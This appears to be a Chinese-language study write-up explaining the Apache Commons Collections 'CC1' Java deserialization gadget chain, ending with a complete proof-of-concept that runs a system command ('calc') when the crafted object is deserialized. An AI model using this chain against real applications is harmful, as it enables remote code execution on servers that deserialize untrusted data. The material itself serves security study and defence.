CC1链
前置基础
Java反序列化原理:
接受任意对象,执行readObject方法
若有一个A的readObject方法,调用了O1.method1方法,则我们可以修改这个O1
且在O1.method1方法中,调用了O2.method2方法,则我们可以修改这个O2
……
最后调用了危险方法(Runtime.getRuntime.exec())
最后调用危险方法有两种类型:
不同类的同名函数
任意方法调用(反射/动态加载恶意字节码)
注意:
A :可序列化
重写readObject
接受任意对象作为参数
On : 可序列化
集合类型/接受Object/接受Map
CC1攻击链分析
Transformer接口
1 2 3 4 5 public interface Transformer { public Object transform (Object input) ; }
Transformer是一个接口类,提供对象转换方法transform(接收对象,并对对象做出操作)
重要的实现方法有:ConstantTransformer
、 invokerTransformer
、 ChainedTransformer
、 TransformedMap
危险方法
这里我们找到 InvokerTransformer类,该类中存在一个反射调用任意类,可以作为链子的终点
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
下面是该类的transform
方法,用反射获取方法并invoke
执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
使用InvokerTransformer中可执行任意方法,下面是反射调用
1 2 3 4 5 6 7 8 public static void main (String[] args) throws Exception { Runtime rt = Runtime.getRuntime(); Class runtime = Runtime.class; Method exec = runtime.getMethod("exec" , String.class); exec.invoke(rt,"calc" ); }
现在使用InvokerTransformer来调用calc
1 2 3 4 5 6 public static void main (String[] args) throws Exception { Runtime rt = Runtime.getRuntime(); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(rt); }
调用transform方法
在TransformedMap
中的checkSetValue
方法调用了valueTransformer
的transform
方法
这里的valueTransformer在构造函数中初始化,但由于构造函数为protected属性,我们找到了本类中的decorate方法可以去构造一个TransformedMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
调用checkSetValue
查找用法,只有AbstractInputCheckedMapDecorator
中的内部类MapEntry
的setValue
可以调用checkSetValue
方法(AbstractInputCheckedMapDecorator他是TransformedMap的父类)
1 2 3 4 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
通过遍历MapEntry,调用entry的setValue
方法即可调用危险方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void main (String[] args) throws Exception { Runtime rt = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("calc" , "calc" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(rt); } }
这里我没有很是理解,借用别的师傅的笔记
MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。
TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。
调用setValue
在该`AnnotationInvocationHandler`的`readObject`方法中,存在遍历Map并且调用`setValue`,所以该类可以作为我们的入口类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
但是AnnotationInvocationHandler
并不是一个puclic类型的类,如果想要调用它的话,需要通过反射的方法来获取其构造函数进行实例化。
观察构造方法,第一个参数要传入一个注解类,第二个参数就要传入我们构造的恶意Map了
1 2 3 4 5 6 7 8 9 10 11 12 class AnnotationInvocationHandler implements InvocationHandler , Serializable AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
1 2 3 4 5 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Override.class, transformedMap);
目前来说,不出意外的话,这个链子已经走完了,但是意外来的很快,我们发现其并没有成功执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static void main (String[] args) throws Exception { Runtime rt = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("calc" , "calc" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , invokerTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Override.class, transformedMap); serialize(o); unserialize("ser.bin" ); }
最后调整
这条链子没有走下来有几个原因
一)Runtime类没有继承序列化接口
没有继承序列化接口就不能被序列化,但是我们可以通过反射来调用,我们先看看普通反射怎么写
1 2 3 4 5 Class c = Runtime.class Method getRuntimeMethod = c.getMethod("getRuntime" ,null );Runtime r = (Runtime) getRuntimeMethod.invoke(null ,null );Method execMethod = c.getMethod("exec" ,String.class);execMethod.invoke(r,"calc" );
现在我们来把他改成一个InvokerTransformer的形式,但是如此来说就有点繁琐了,需要一直调用transform。
记得有一个ChainedTransformer类,传入一个transform数组,进行递归调用(前一个transform的返回值作为后一个transform的参数)
1 2 3 Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod);new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }).transform(r);
这里是ChainedTransformer类的部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 private ChainedTransformer (final boolean clone, final Transformer<? super T, ? extends T>[] transformers) { super (); iTransformers = clone ? FunctorUtils.copy(transformers) : transformers; } public T transform (T object) { for (final Transformer<? super T, ? extends T > iTransformer : iTransformers) { object = iTransformer.transform(object); } return object; }
根据ChainedTransformer修改后,可成功执行
1 2 3 4 5 6 7 8 9 10 11 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); }
二)中间由于存在if判断,并没有进入到if中
通过动态调试,发现在readObject方法中if判断时,memberType为空,而没有进入到if中
这里的name是get到我们之前Map中put进去键值对的key ,然后去检查这个注解类中有没有这个key 名字的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
因此我们修改一下,在Target注解中存在一个value的参数,在Target注解中存在value名字的参数,只需要把put进去的key改为value ,将Overide注解的类换为Target注解类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); }
这里可以看到已经memberType已经不为NULL 了
三)readObject调用的setValue的参数值是固定的
我们的本意是将setValue中的值改为Runtime.class,但是实际上我们无法修改其中的值,若我们可以控制,这条链就成功走通了
1 2 3 4 5 6 7 8 9 10 if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } }
还有一个比较重要的类ConstantTransformer
,下面为 ConstantTransformer
的构造函数和transform方法,构造时传入的参数设为一个常量值,后续调用他的transform方法,无论传入什么值,都会返回这个常量,如果我们在构造时传入 Runtime.class呢
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
现在只需要在Transformers的首位传入ConstantTransformer类,传入参数为Runtime的类,最后就能成功执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); }
大概的链子如下: